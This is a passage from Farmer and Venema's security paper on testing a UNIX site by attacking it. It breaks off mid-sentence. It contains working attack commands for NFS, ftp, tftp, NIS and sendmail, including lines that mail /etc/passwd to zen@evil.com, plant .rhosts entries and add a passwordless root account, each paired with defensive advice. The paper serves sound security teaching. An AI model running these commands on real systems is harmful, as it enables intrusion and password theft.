home *** CD-ROM | disk | FTP | other *** search
/ Cuteskunk BBS / cuteskunk.zip / cuteskunk / Unix-Hacking-Documents / improve_by_breakin.txt < prev    next >
Text File  |  2003-06-29  |  52KB  |  1,041 lines

  1. Improving the Security of Your Site by Breaking Into it
  2.  
  3.     Dan Farmer              Wietse Venema
  4.     Sun Microsystems        Eindhoven University of Technology
  5.     zen@sun.com             wietse@wzv.win.tue.nl
  6.  
  7. Introduction
  8.  
  9. Every day, all over the world, computer networks and hosts are being broken
  10. into. The level of sophistication of these attacks varies widely; while it
  11. is generally believed that most break-ins succeed due to weak passwords,
  12. there are still a large number of intrusions that use more advanced
  13. techniques to break in. Less is known about the latter types of break-ins,
  14. because by their very nature they are much harder to detect.
  15.  
  16. CERT. SRI. The Nic. NCSC. RSA. NASA. MIT. Uunet. Berkeley. Purdue. Sun. You
  17. name it, we've seen it broken into. Anything that is on the Internet (and
  18. many that isn't) seems to be fairly easy game. Are these targets unusual?
  19. What happened?
  20.  
  21. ----------------------------------------------------------------------------
  22.  
  23. Fade to...
  24.  
  25. A young boy, with greasy blonde hair, sitting in a dark room. The room is
  26. illuminated only by the luminescense of the C64's 40 character screen.
  27. Taking another long drag from his Benson and Hedges cigarette, the weary
  28. system cracker telnets to the next faceless ".mil" site on his hit list.
  29. "guest -- guest", "root -- root", and "system -- manager" all fail. No
  30. matter. He has all night... he pencils the host off of his list, and tiredly
  31. types in the next potential victim...
  32.  
  33. This seems to be the popular image of a system cracker. Young,
  34. inexperienced, and possessing vast quantities of time to waste, to get into
  35. just one more system. However, there is a far more dangerous type of system
  36. cracker out there. One who knows the ins and outs of the latest security
  37. auditing and cracking tools, who can modify them for specific attacks, and
  38. who can write his/her own programs. One who not only reads about the latest
  39. security holes, but also personally discovers bugs and vulnerabilities. A
  40. deadly creature that can both strike poisonously and hide its tracks without
  41. a whisper or hint of a trail. The uebercracker is here.
  42.  
  43. ----------------------------------------------------------------------------
  44. Why "uebercracker"? The idea is stolen, obviously, from Nietzsche's
  45. uebermensch, or, literally translated into English, "over man." Nietzsche
  46. used the term not to refer to a comic book superman, but instead a man who
  47. had gone beyond the incompetence, pettiness, and weakness of the everyday
  48. man. The uebercracker is therefore the system cracker who has gone beyond
  49. simple cookbook methods of breaking into systems. An uebercracker is not
  50. usually motivated to perform random acts of violence. Targets are not
  51. arbitrary -- there is a purpose, whether it be personal monetary gain, a hit
  52. and run raid for information, or a challenge to strike a major or
  53. prestigious site or net.personality. An uebercracker is hard to detect,
  54. harder to stop, and hardest to keep out of your site for good.
  55.  
  56. Overview
  57.  
  58. In this paper we will take an unusual approach to system security. Instead
  59. of merely saying that something is a problem, we will look through the eyes
  60. of a potential intruder, and show _why_ it is one. We will illustrate that
  61. even seemingly harmless network services can become valuable tools in the
  62. search for weak points of a system, even when these services are operating
  63. exactly as they are intended to.
  64.  
  65. In an effort to shed some light on how more advanced intrusions occur, this
  66. paper outlines various mechanisms that crackers have actually used to obtain
  67. access to systems and, in addition, some techniques we either suspect
  68. intruders of using, or that we have used ourselves in tests or in
  69. friendly/authorized environments.
  70.  
  71. Our motivation for writing this paper is that system administrators are
  72. often unaware of the dangers presented by anything beyond the most trivial
  73. attacks. While it is widely known that the proper level of protection
  74. depends on what has to be protected, many sites appear to lack the resources
  75. to assess what level of host and network security is adequate. By showing
  76. what intruders can do to gain access to a remote site, we are trying to help
  77. system administrators to make _informed_ decisions on how to secure their
  78. site -- or not. We will limit the discussion to techniques that can give a
  79. remote intruder access to a (possibly non-interactive) shell process on a
  80. UNIX host. Once this is achieved, the details of obtaining root privilege
  81. are beyond the scope of this work -- we consider them too site-dependent
  82. and, in many cases, too trivial to merit much discussion.
  83.  
  84. We want to stress that we will not merely run down a list of bugs or
  85. security holes -- there will always be new ones for a potential attacker to
  86. exploit. The purpose of this paper is to try to get the reader to look at
  87. her or his system in a new way -- one that will hopefully afford him or her
  88. the opportunity to _understand_ how their system can be compromised, and
  89. how.
  90.  
  91. We would also like to reiterate to the reader that the purpose of this paper
  92. is to show you how to test the security of your own site, not how to break
  93. into other people's systems. The intrusion techniques we illustrate here
  94. will often leave traces in your system auditing logs -- it might be
  95. constructive to examine them after trying some of these attacks out, to see
  96. what a real attack might look like. Certainly other sites and system
  97. administrators will take a very dim view of your activities if you decide to
  98. use their hosts for security testing without advance authorization; indeed,
  99. it is quite possible that legal action may be pursued against you if they
  100. perceive it as an attack.
  101.  
  102. There are four main parts to the paper. The first part is the introduction
  103. and overview. The second part attempts to give the reader a feel for what it
  104. is like to be an intruder and how to go from knowing nothing about a system
  105. to compromising its security. This section goes over actual techniques to
  106. gain information and entrance and covers basic strategies such as exploiting
  107. trust and abusing improperly configured basic network services (ftp, mail,
  108. tftp, etc.) It also discusses slightly more advanced topics, such as NIS and
  109. NFS, as well as various common bugs and configuration problems that are
  110. somewhat more OS or system specific. Defensive strategies against each of
  111. the various attacks are also covered here.
  112.  
  113. The third section deals with trust: how the security of one system depends
  114. on the integrity of other systems. Trust is the most complex subject in this
  115. paper, and for the sake of brevity we will limit the discussion to clients
  116. in disguise.
  117.  
  118. The fourth section covers the basic steps that a system administrator may
  119. take to protect her or his system. Most of the methods presented here are
  120. merely common sense, but they are often ignored in practice -- one of our
  121. goals is to show just how dangerous it can be to ignore basic security
  122. practices.
  123.  
  124. Case studies, pointers to security-related information, and software are
  125. described in the appendices at the end of the paper.
  126.  
  127. While exploring the methods and strategies discussed in this paper we we
  128. wrote SATAN (Security Analysis Tool for Auditing Networks.) Written in
  129. shell, perl, expect and C, it examines a remote host or set of hosts and
  130. gathers as much information as possible by remotely probing NIS, finger,
  131. NFS, ftp and tftp, rexd, and other services. This information includes the
  132. presence of various network information services as well as potential
  133. security flaws -- usually in the form of incorrectly setup or configured
  134. network services, well-known bugs in system or network utilities, or poor or
  135. ignorant policy decisions. It then can either report on this data or use an
  136. expert system to further investigate any potential security problems. While
  137. SATAN doesn't use all of the methods that we discuss in the paper, it has
  138. succeeded with ominous regularity in finding serious holes in the security
  139. of Internet sites. It will be posted and made available via anonymous ftp
  140. when completed; Appendix A covers its salient features.
  141.  
  142. Note that it isn't possible to cover all possible methods of breaking into
  143. systems in a single paper. Indeed, we won't cover two of the most effective
  144. methods of breaking into hosts: social engineering and password cracking.
  145. The latter method is so effective, however, that several of the strategies
  146. presented here are geared towards acquiring password files. In addition,
  147. while windowing systems (X, OpenWindows, etc.) can provide a fertile ground
  148. for exploitation, we simply don't know many methods that are used to break
  149. into remote systems. Many system crackers use non-bitmapped terminals which
  150. can prevent them from using some of the more interesting methods to exploit
  151. windowing systems effectively (although being able to monitor the victim's
  152. keyboard is often sufficient to capture passwords). Finally, while worms,
  153. viruses, trojan horses, and other malware are very interesting, they are not
  154. common (on UNIX systems) and probably will use similar techniques to the
  155. ones we describe in this paper as individual parts to their attack strategy.
  156.  
  157. Gaining Information
  158.  
  159. Let us assume that you are the head system administrator of Victim
  160. Incorporated's network of UNIX workstations. In an effort to secure your
  161. machines, you ask a friendly system administrator from a nearby site
  162. (evil.com) to give you an account on one of her machines so that you can
  163. look at your own system's security from the outside.
  164.  
  165. What should you do? First, try to gather information about your (target)
  166. host. There is a wealth of network services to look at: finger, showmount,
  167. and rpcinfo are good starting points. But don't stop there -- you should
  168. also utilize DNS, whois, sendmail (smtp), ftp, uucp, and as many other
  169. services as you can find. There are so many methods and techniques that
  170. space precludes us from showing all of them, but we will try to show a
  171. cross-section of the most common and/or dangerous strategies that we have
  172. seen or have thought of. Ideally, you would gather such information about
  173. all hosts on the subnet or area of attack --- information is power -- but
  174. for now we'll examine only our intended target.
  175.  
  176. To start out, you look at what the ubiquitous finger command shows you
  177. (assume it is 6pm, Nov 6, 1993):
  178.  
  179.  victim % finger @victim.com
  180.  [victim.com]
  181.  Login       Name             TTY Idle     When    Where
  182.  zen      Dr.  Fubar           co   1d  Wed 08:00   death.com
  183.  
  184. Good! A single idle user -- it is likely that no one will notice if you
  185. actually manage to break in.
  186.  
  187. Now you try more tactics. As every finger devotee knows, fingering "@", "0",
  188. and "", as well as common names, such as root, bin, ftp, system, guest,
  189. demo, manager, etc., can reveal interesting information. What that
  190. information is depends on the version of finger that your target is running,
  191. but the most notable are account names, along with their home directories
  192. and the host that they last logged in from.
  193.  
  194. To add to this information, you can use rusers (in particular with the -l
  195. flag) to get useful information on logged-in users.
  196.  
  197. Trying these commands on victim.com reveals the following information,
  198. presented in a compressed tabular form to save space:
  199.  
  200.  Login   Home-dir    Shell      Last login, from where
  201.  -----   --------    -----      ----------------------
  202.  root    /           /bin/sh    Fri Nov 5 07:42 on ttyp1 from big.victim.com
  203.  bin     /bin                   Never logged in
  204.  nobody  /                      Tue Jun 15 08:57 on ttyp2 from server.victim.co
  205.  daemon  /                      Tue Mar 23 12:14 on ttyp0 from big.victim.com
  206.  sync    /           /bin/sync  Tue Mar 23 12:14 on ttyp0 from big.victim.com
  207.  zen     /home/zen   /bin/bash  On since Wed Nov  6 on ttyp3 from death.com
  208.  sam     /home/sam   /bin/csh   Wed Nov  5 05:33 on ttyp3 from evil.com
  209.  guest   /export/foo /bin/sh    Never logged in
  210.  ftp     /home/ftp              Never logged in
  211.  
  212. Both our experiments with SATAN and watching system crackers at work have
  213. proved to us that finger is one of the most dangerous services, because it
  214. is so useful for investigating a potential target. However, much of this
  215. information is useful only when used in conjunction with other data.
  216.  
  217. For instance, running showmount on your target reveals:
  218.  
  219.  evil % showmount -e victim.com
  220.  export list for victim.com:
  221.  /export                            (everyone)
  222.  /var                               (everyone)
  223.  /usr                               easy
  224.  /export/exec/kvm/sun4c.sunos.4.1.3 easy
  225.  /export/root/easy                  easy
  226.  /export/swap/easy                  easy
  227.  
  228. Note that /export/foo is exported to the world; also note that this is user
  229. guest's home directory. Time for your first break-in! In this case, you'll
  230. mount the home directory of user "guest." Since you don't have a
  231. corresponding account on the local machine and since root cannot modify
  232. files on an NFS mounted filesystem, you create a "guest" account in your
  233. local password file. As user guest you can put an .rhosts entry in the
  234. remote guest home directory, which will allow you to login to the target
  235. machine without having to supply a password.
  236.  
  237.  evil # mount victim.com:/export/foo /foo
  238.  evil # cd /foo
  239.  evil # ls -lag
  240.  total 3
  241.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  242.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  243.     1 drwx--x--x  9 10001    daemon       1024 Aug  3 15:49 guest
  244.  evil # echo guest:x:10001:1:temporary breakin account:/: >> /etc/passwd
  245.  evil # ls -lag
  246.  total 3
  247.     1 drwxr-xr-x 11 root     daemon        512 Jun 19 09:47 .
  248.     1 drwxr-xr-x  7 root     wheel         512 Jul 19  1991 ..
  249.     1 drwx--x--x  9 guest    daemon       1024 Aug  3 15:49 guest
  250.  evil # su guest
  251.  evil % echo victim.com >> guest/.rhosts
  252.  evil % rlogin victim.com
  253.          Welcome to victim.com!
  254.  victim %
  255.  
  256. If, instead of home directories, victim.com were exporting filesystems with
  257. user commands (say, /usr or /usr/local/bin), you could replace a command
  258. with a trojan horse that executes any command of your choice. The next user
  259. to execute that command would execute your program.
  260.  
  261. We suggest that filesystems be exported:
  262.  
  263.    * Read/write only to specific, trusted clients.
  264.  
  265.    * Read-only, where possible (data or programs can often be exported in
  266.      this manner.)
  267.  
  268. If the target has a "+" wildcard in its /etc/hosts.equiv (the default in
  269. various vendor's machines) or has the netgroups bug (CERT advisory 91:12),
  270. any non-root user with a login name in the target's password file can rlogin
  271. to the target without a password. And since the user "bin" often owns key
  272. files and directories, your next attack is to try to log in to the target
  273. host and modify the password file to let you have root access:
  274.  
  275.  evil % whoami
  276.  bin
  277.  evil % rsh victim.com csh -i
  278.  Warning: no access to tty; thus no job control in this shell...
  279.  victim %  ls -ldg /etc
  280.  drwxr-sr-x  8 bin      staff        2048 Jul 24 18:02 /etc
  281.  victim %  cd /etc
  282.  victim %  mv passwd pw.old
  283.  victim %  (echo toor::0:1:instant root shell:/:/bin/sh; cat pw.old ) > passwd
  284.  victim % ^D
  285.  evil % rlogin victim.com -l toor
  286.          Welcome to victim.com!
  287.  victim #
  288.  
  289. A few notes about the method used above; "rsh victim.com csh -i" is used to
  290. initially get onto the system because it doesn't leave any traces in the
  291. wtmp or utmp system auditing files, making the rsh invisible for finger and
  292. who. The remote shell isn't attached to a pseudo-terminal, however, so that
  293. screen-oriented programs such as pagers and editors will fail -- but it is
  294. very handy for brief exploration.
  295.  
  296. The COPS security auditing tool (see appendix D) will report key files or
  297. directories that are writable to accounts other than the superuser. If you
  298. run SunOS 4.x you can apply patch 100103 to fix most file permission
  299. problems. On many systems, rsh probes as shown above, even when successful,
  300. would remain completely unnoticed; the tcp wrapper (appendix D), which logs
  301. incoming connections, can help to expose such activities.
  302.  
  303. ----------------------------------------------------------------------------
  304. What now? Have you uncovered all the holes on your target system? Not by a
  305. long shot. Going back to the finger results on your target, you notice that
  306. it has an "ftp" account, which usually means that anonymous ftp is enabled.
  307. Anonymous ftp can be an easy way to get access, as it is often
  308. misconfigured. For example, the target may have a complete copy of the
  309. /etc/passwd file in the anonymous ftp ~ftp/etc directory instead of a
  310. stripped down version. In this example, though, you see that the latter
  311. doesn't seem to be true (how can you tell without actually examining the
  312. file?) However, the home directory of ftp on victim.com is writable. This
  313. allows you to remotely execute a command -- in this case, mailing the
  314. password file back to yourself -- by the simple method of creating a
  315. .forward file that executes a command when mail is sent to the ftp account.
  316. This is the same mechanism of piping mail to a program that the "vacation"
  317. program uses to automatically reply to mail messages.
  318.  
  319.  evil % cat forward_sucker_file
  320.  "|/bin/mail zen@evil.com < /etc/passwd"
  321.  
  322.  evil % ftp victim.com
  323.  Connected to victim.com
  324.  220 victim FTP server ready.
  325.  Name (victim.com:zen): ftp
  326.  331 Guest login ok, send ident as password.
  327.  Password:
  328.  230 Guest login ok, access restrictions apply.
  329.  ftp> ls -lga
  330.  200 PORT command successful.
  331.  150 ASCII data connection for /bin/ls (192.192.192.1,1129) (0 bytes).
  332.  total 5
  333.  drwxr-xr-x  4 101      1             512 Jun 20  1991 .
  334.  drwxr-xr-x  4 101      1             512 Jun 20  1991 ..
  335.  drwxr-xr-x  2 0        1             512 Jun 20  1991 bin
  336.  drwxr-xr-x  2 0        1             512 Jun 20  1991 etc
  337.  drwxr-xr-x  3 101      1             512 Aug 22  1991 pub
  338.  226 ASCII Transfer complete.
  339.  242 bytes received in 0.066 seconds (3.6 Kbytes/s)
  340.  ftp> put forward_sucker_file .forward
  341.  43 bytes sent in 0.0015 seconds (28 Kbytes/s)
  342.  ftp> quit
  343.  evil % echo test | mail ftp@victim.com
  344.  
  345. Now you simply wait for the password file to be sent back to you.
  346.  
  347. The security auditing tool COPS will check your anonymous ftp setup; see the
  348. man page for ftpd, the documentation/code for COPS, or CERT advisory 93:10
  349. for information on how to set up anonymous ftp correctly. Vulnerabilities in
  350. ftp are often a matter of incorrect ownership or permissions of key files or
  351. directories. At the very least, make sure that ~ftp and all "system"
  352. directories and files below ~ftp are owned by root and are not writable by
  353. any user.
  354.  
  355. While looking at ftp, you can check for an older bug that was once widely
  356. exploited:
  357.  
  358.  % ftp -n
  359.  ftp> open victim.com
  360.  Connected to victim.com
  361.  220 victim.com FTP server ready.
  362.  ftp> quote user ftp
  363.  331 Guest login ok, send ident as password.
  364.  ftp> quote cwd ~root
  365.  530 Please login with USER and PASS.
  366.  ftp> quote pass ftp
  367.  230 Guest login ok, access restrictions apply.
  368.  ftp> ls -al / (or whatever)
  369.  
  370. If this works, you now are logged in as root, and able to modify the
  371. password file, or whatever you desire. If your system exhibits this bug, you
  372. should definitely get an update to your ftpd daemon, either from your vendor
  373. or (via anon ftp) from ftp.uu.net.
  374.  
  375. The wuarchive ftpd, a popular replacement ftp daemon put out by the
  376. Washington University in Saint Louis, had almost the same problem. If your
  377. wuarchive ftpd pre-dates April 8, 1993, you should replace it by a more
  378. recent version.
  379.  
  380. Finally, there is a program vaguely similar to ftp -- tftp, or the trivial
  381. file transfer program. This daemon doesn't require any password for
  382. authentication; if a host provides tftp without restricting the access
  383. (usually via some secure flag set in the inetd.conf file), an attacker can
  384. read and write files anywhere on the system. In the example, you get the
  385. remote password file and place it in your local /tmp directory:
  386.  
  387.  evil % tftp
  388.  tftp> connect victim.com
  389.  tftp> get /etc/passwd /tmp/passwd.victim
  390.  tftp> quit
  391.  
  392. For security's sake, tftp should not be run; if tftp is necessary, use the
  393. secure option/flag to restrict access to a directory that has no valuable
  394. information, or run it under the control of a chroot wrapper program.
  395.  
  396. ----------------------------------------------------------------------------
  397. If none of the previous methods have worked, it is time to go on to more
  398. drastic measures. You have a friend in rpcinfo, another very handy program,
  399. sometimes even more useful than finger. Many hosts run RPC services that can
  400. be exploited; rpcinfo can talk to the portmapper and show you the way. It
  401. can tell you if the host is running NIS, if it is a NIS server or slave, if
  402. a diskless workstation is around, if it is running NFS, any of the info
  403. services (rusersd, rstatd, etc.), or any other unusual programs (auditing or
  404. security related). For instance, going back to our sample target:
  405.  
  406.  evil % rpcinfo -p victim.com    [output trimmed for brevity's sake]
  407.     program vers proto   port
  408.      100004    2   tcp    673  ypserv
  409.      100005    1   udp    721  mountd
  410.      100003    2   udp   2049  nfs
  411.      100026    1   udp    733  bootparam
  412.      100017    1   tcp   1274  rexd
  413.  
  414. In this case, you can see several significant facts about our target; first
  415. of which is that it is an NIS server. It is perhaps not widely known, but
  416. once you know the NIS domainname of a server, you can get any of its NIS
  417. maps by a simple rpc query, even when you are outside the subnet served by
  418. the NIS server (for example, using the YPX program that can be found in the
  419. comp.sources.misc archives on ftp.uu.net). In addition, very much like
  420. easily guessed passwords, many systems use easily guessed NIS domainnames.
  421. Trying to guess the NIS domainname is often very fruitful. Good candidates
  422. are the fully and partially qualified hostname (e.g. "victim" and
  423. "victim.com"), the organization name, netgroup names in "showmount" output,
  424. and so on. If you wanted to guess that the domainname was "victim", you
  425. could type:
  426.  
  427.  evil % ypwhich -d victim victim.com
  428.  Domain victim not bound.
  429.  
  430. This was an unsuccessful attempt; if you had guessed correctly it would have
  431. returned with the host name of victim.com's NIS server. However, note from
  432. the NFS section that victim.com is exporting the "/var" directory to the
  433. world. All that is needed is to mount this directory and look in the "yp"
  434. subdirectory -- among other things you will see another subdirectory that
  435. contains the domainname of the target.
  436.  
  437.  evil # mount victim.com:/var /foo
  438.  evil # cd /foo
  439.  evil # /bin/ls -alg /foo/yp
  440.  total 17
  441.     1 drwxr-sr-x  4 root     staff         512 Jul 12 14:22 .
  442.     1 drwxr-sr-x 11 root     staff         512 Jun 29 10:54 ..
  443.    11 -rwxr-xr-x  1 root     staff       10993 Apr 22 11:56 Makefile
  444.     1 drwxr-sr-x  2 root     staff         512 Apr 22 11:20 binding
  445.     2 drwxr-sr-x  2 root     staff        1536 Jul 12 14:22 foo_bar
  446.     [...]
  447.  
  448. In this case, "foo_bar" is the NIS domain name.
  449.  
  450. In addition, the NIS maps often contain a good list of user/employee names
  451. as well as internal host lists, not to mention passwords for cracking.
  452.  
  453. Appendix C details the results of a case study on NIS password files.
  454.  
  455. ----------------------------------------------------------------------------
  456. You note that the rpcinfo output also showed that victim.com runs rexd. Like
  457. the rsh daemon, rexd processes requests of the form "please execute this
  458. command as that user". Unlike rshd, however, rexd does not care if the
  459. client host is in the hosts.equiv or .rhost files. Normally the rexd client
  460. program is the "on" command, but it only takes a short C program to send
  461. arbitrary client host and userid information to the rexd server; rexd will
  462. happily execute the command. For these reasons, running rexd is similar to
  463. having no passwords at all: all security is in the client, not in the server
  464. where it should be. Rexd security can be improved somewhat by using secure
  465. RPC.
  466.  
  467. ----------------------------------------------------------------------------
  468. While looking at the output from rpcinfo, you observe that victim.com also
  469. seems to be a server for diskless workstations. This is evidenced by the
  470. presence of the bootparam service, which provides information to the
  471. diskless clients for booting. If you ask nicely, using BOOTPARAMPROC_WHOAMI
  472. and provide the address of a client, you can get its NIS domainname. This
  473. can be very useful when combined with the fact that you can get arbitrary
  474. NIS maps (such as the password file) when you know the NIS domainname. Here
  475. is a sample code snippet to do just that (bootparam is part of SATAN.)
  476.  
  477.     char   *server;
  478.     struct bp_whoami_arg arg;           /* query */
  479.     struct bp_whoami_res res;           /* reply */
  480.  
  481.     /* initializations omitted... */
  482.  
  483.     callrpc(server, BOOTPARAMPROG, BOOTPARAMVERS, BOOTPARAMPROC_WHOAMI,
  484.             xdr_bp_whoami_arg, &arg, xdr_bp_whoami_res, &res);
  485.  
  486.     printf("%s has nisdomain %s\n", server, res.domain_name);
  487.  
  488. The showmount output indicated that "easy" is a diskless client of
  489. victim.com, so we use its client address in the BOOTPARAMPROC_WHOAMI query:
  490.  
  491.  evil % bootparam victim.com easy.victim.com
  492.  victim.com has nisdomain foo_bar
  493.  
  494. ----------------------------------------------------------------------------
  495. NIS masters control the mail aliases for the NIS domain in question. Just
  496. like local mail alias files, you can create a mail alias that will execute
  497. commands when mail is sent to it (a once popular example of this is the
  498. "decode" alias which uudecodes mail files sent to it.) For instance, here
  499. you create an alias "foo", which mails the password file back to evil.com by
  500. simply mailing any message to it:
  501.  
  502.  nis-master # echo 'foo: "| mail zen@evil.com < /etc/passwd "' >> /etc/aliases
  503.  nis-master # cd /var/yp
  504.  nis-master # make aliases
  505.  nis-master # echo test | mail -v foo@victim.com
  506.  
  507. Hopefully attackers won't have control of your NIS master host, but even
  508. more hopefully the lesson is clear -- NIS is normally insecure, but if an
  509. attacker has control of your NIS master, then s/he effectively has control
  510. of the client hosts (e.g. can execute arbitrary commands).
  511.  
  512. There aren't many effective defenses against NIS attacks; it is an insecure
  513. service that has almost no authentication between clients and servers. To
  514. make things worse, it seems fairly clear that arbitrary maps can be forced
  515. onto even master servers (e.g., it is possible to treat an NIS server as a
  516. client). This, obviously, would subvert the entire schema. If it is
  517. absolutely necessary to use NIS, choosing a hard to guess domainname can
  518. help slightly, but if you run diskless clients that are exposed to potential
  519. attackers then it is trivial for an attacker to defeat this simple step by
  520. using the bootparam trick to get the domainname. If NIS is used to propagate
  521. the password maps, then shadow passwords do not give additional protection
  522. because the shadow map is still accessible to any attacker that has root on
  523. an attacking host. Better is to use NIS as little as possible, or to at
  524. least realize that the maps can be subject to perusal by potentially hostile
  525. forces.
  526.  
  527. Secure RPC goes a long way to diminish the threat, but it has its own
  528. problems, primarily in that it is difficult to administer, but also in that
  529. the cryptographic methods used within are not very strong. It has been
  530. rumored that NIS+, Sun's new network information service, fixes some of
  531. these problems, but until now it has been limited to running on Suns, and
  532. thus far has not lived up to the promise of the design. Finally, using
  533. packet filtering (at the very least port 111) or securelib (see appendix D),
  534. or, for Suns, applying Sun patch 100482-02 all can help.
  535.  
  536. ----------------------------------------------------------------------------
  537. The portmapper only knows about RPC services. Other network services can be
  538. located with a brute-force method that connects to all network ports. Many
  539. network utilities and windowing systems listen to specific ports (e.g.
  540. sendmail is on port 25, telnet is on port 23, X windows is usually on port
  541. 6000, etc.) SATAN includes a program that scans the ports of a remote hosts
  542. and reports on its findings; if you run it against our target, you see:
  543.  
  544.  evil % tcpmap victim.com
  545.  Mapping 128.128.128.1
  546.  port 21: ftp
  547.  port 23: telnet
  548.  port 25: smtp
  549.  port 37: time
  550.  port 79: finger
  551.  port 512: exec
  552.  port 513: login
  553.  port 514: shell
  554.  port 515: printer
  555.  port 6000: (X)
  556.  
  557. This suggests that victim.com is running X windows. If not protected
  558. properly (via the magic cookie or xhost mechanisms), window displays can be
  559. captured or watched, user keystrokes may be stolen, programs executed
  560. remotely, etc. Also, if the target is running X and accepts a telnet to port
  561. 6000, that can be used for a denial of service attack, as the target's
  562. windowing system will often "freeze up" for a short period of time. One
  563. method to determine the vulnerability of an X server is to connect to it via
  564. the XOpenDisplay() function; if the function returns NULL then you cannot
  565. access the victim's display (opendisplay is part of SATAN):
  566.  
  567.     char   *hostname;
  568.  
  569.     if (XOpenDisplay(hostname) == NULL) {
  570.        printf("Cannot open display: %s\n", hostname);
  571.     } else {
  572.        printf("Can open display: %s\n", hostname);
  573.     }
  574.  
  575.  evil % opendisplay victim.com:0
  576.  Cannot open display: victim.com:0
  577.  
  578. X terminals, though much less powerful than a complete UNIX system, can have
  579. their own security problems. Many X terminals permit unrestricted rsh
  580. access, allowing you to start X client programs in the victim's terminal
  581. with the output appearing on your own screen:
  582.  
  583.  evil % xhost +xvictim.victim.com
  584.  evil % rsh xvictim.victim.com telnet victim.com -display evil.com
  585.  
  586. In any case, give as much thought to your window security as your filesystem
  587. and network utilities, for it can compromise your system as surely as a "+"
  588. in your hosts.equiv or a passwordless (root) account.
  589.  
  590. ----------------------------------------------------------------------------
  591. Next, you examine sendmail. Sendmail is a very complex program that has a
  592. long history of security problems, including the infamous "wiz" command
  593. (hopefully long since disabled on all machines). You can often determine the
  594. OS, sometimes down to the version number, of the target, by looking at the
  595. version number returned by sendmail. This, in turn, can give you hints as to
  596. how vulnerable it might be to any of the numerous bugs. In addition, you can
  597. see if they run the "decode" alias, which has its own set of problems:
  598.  
  599.  evil % telnet victim.com 25
  600.  connecting to host victim.com (128.128.128.1.), port 25
  601.  connection open
  602.  220 victim.com Sendmail Sendmail 5.55/victim ready at Fri, 6 Nov 93 18:00 PDT
  603.  expn decode
  604.  250 <"|/usr/bin/uudecode">
  605.  quit
  606.  
  607. Running the "decode" alias is a security risk -- it allows potential
  608. attackers to overwrite any file that is writable by the owner of that alias
  609. -- often daemon, but potentially any user. Consider this piece of mail --
  610. this will place "evil.com" in user zen's .rhosts file if it is writable:
  611.  
  612.  evil % echo "evil.com" | uuencode /home/zen/.rhosts | mail decode@victim.com
  613.  
  614. If no home directories are known or writable, an interesting variation of
  615. this is to create a bogus /etc/aliases.pag file that contains an alias with
  616. a command you wish to execute on your target. This may work since on many
  617. systems the aliases.pag and aliases.dir files, which control the system's
  618. mail aliases, are writable to the world.
  619.  
  620.  evil % cat decode
  621.  bin: "| cat /etc/passwd | mail zen@evil.com"
  622.  evil % newaliases -oQ/tmp -oA`pwd`/decode
  623.  evil % uuencode decode.pag /etc/aliases.pag | mail decode@victom.com
  624.  evil % /usr/lib/sendmail -fbin -om -oi bin@victim.com < /dev/null
  625.  
  626. A lot of things can be found out by just asking sendmail if an address is
  627. acceptable (vrfy), or what an address expands to (expn). When the finger or
  628. rusers services are turned off, vrfy and expn can still be used to identify
  629. user accounts or targets. Vrfy and expn can also be used to find out if the
  630. user is piping mail through any program that might be exploited (e.g.
  631. vacation, mail sorters, etc.). It can be a good idea to disable the vrfy and
  632. expn commands: in most versions, look at the source file srvrsmtp.c, and
  633. either delete or change the two lines in the CmdTab structure that have the
  634. strings "vrfy" and "expn". Sites without source can still disable expn and
  635. vrfy by just editing the sendmail executable with a binary editor and
  636. replacing "vrfy" and "expn" with blanks. Acquiring a recent version of
  637. sendmail (see Appendix D) is also an extremely good idea, since there have
  638. probably been more security bugs reported in sendmail than in any other UNIX
  639. program.
  640.  
  641. ----------------------------------------------------------------------------
  642. As a sendmail-sendoff, there are two fairly well known bugs that should be
  643. checked into. The first was definitely fixed in version 5.59 from Berkeley;
  644. despite the messages below, for versions of sendmail previous to 5.59, the
  645. "evil.com" gets appended, despite the error messages, along with all of the
  646. typical mail headers, to the file specified:
  647.  
  648.  % cat evil_sendmail
  649.  telnet victim.com 25 << EOSM
  650.  rcpt to: /home/zen/.rhosts
  651.  mail from: zen
  652.  data
  653.  random garbage
  654.  .
  655.  rcpt to: /home/zen/.rhosts
  656.  mail from: zen
  657.  data
  658.  evil.com
  659.  .
  660.  quit
  661.  EOSM
  662.  
  663.  evil % /bin/sh evil_sendmail
  664.  Trying 128.128.128.1
  665.  Connected to victim.com
  666.  Escape character is '^]'.
  667.  Connection closed by foreign host.
  668.  
  669.  evil % rlogin victim.com -l zen
  670.          Welcome to victim.com!
  671.  victim %
  672.  
  673. The second hole, fixed only recently, permitted anyone to specify arbitrary
  674. shell commands and/or pathnames for the sender and/or destination address.
  675. Attempts to keep details secret were in vain, and extensive discussions in
  676. mailing lists and usenet news groups led to disclosure of how to exploit
  677. some versions of the bug. As with many UNIX bugs, nearly every vendor's
  678. sendmail was vulnerable to the problem, since they all share a common source
  679. code tree ancestry. Space precludes us from discussing it fully, but a
  680. typical attack to get the password file might look like this:
  681.  
  682.  evil % telnet victim.com 25
  683.  Trying 128.128.128.1...
  684.  Connected to victim.com
  685.  Escape character is '^]'.
  686.  220 victim.com Sendmail 5.55 ready at Saturday, 6 Nov 93 18:04
  687.  mail from: "|/bin/mail zen@evil.com < /etc/passwd"
  688.  250 "|/bin/mail zen@evil.com < /etc/passwd"... Sender ok
  689.  rcpt to: nosuchuser
  690.  550 nosuchuser... User unknown
  691.  data
  692.  354 Enter mail, end with "." on a line by itself
  693.  .
  694.  250 Mail accepted
  695.  quit
  696.  Connection closed by foreign host.
  697.  evil %
  698.  
  699. At the time of writing, version 8.6.4 of sendmail (see Appendix D for
  700. information on how to get this) is reportedly the only variant of sendmail
  701. with all of the recent security bugs fixed.
  702.  
  703. Trust
  704.  
  705. For our final topic of vulnerability, we'll digress from the practical
  706. strategy we've followed previously to go a bit more into the theoretical
  707. side, and briefly discuss the notion of trust. The issues and implications
  708. of vulnerabilities here are a bit more subtle and far-reaching than what
  709. we've covered before; in the context of this paper we use the word trust
  710. whenever there is a situation when a server (note that any host that allows
  711. remote access can be called a server) can permit a local resource to be used
  712. by a client without password authentication when password authentication is
  713. normally required. In other words, we arbitrarily limit the discussion to
  714. clients in disguise.
  715.  
  716. There are many ways that a host can trust: .rhosts and hosts.equiv files
  717. that allow access without password verification; window servers that allow
  718. remote systems to use and abuse privileges; export files that control access
  719. via NFS, and more.
  720.  
  721. Nearly all of these rely on client IP address to hostname conversion to
  722. determine whether or not service is to be granted. The simplest method uses
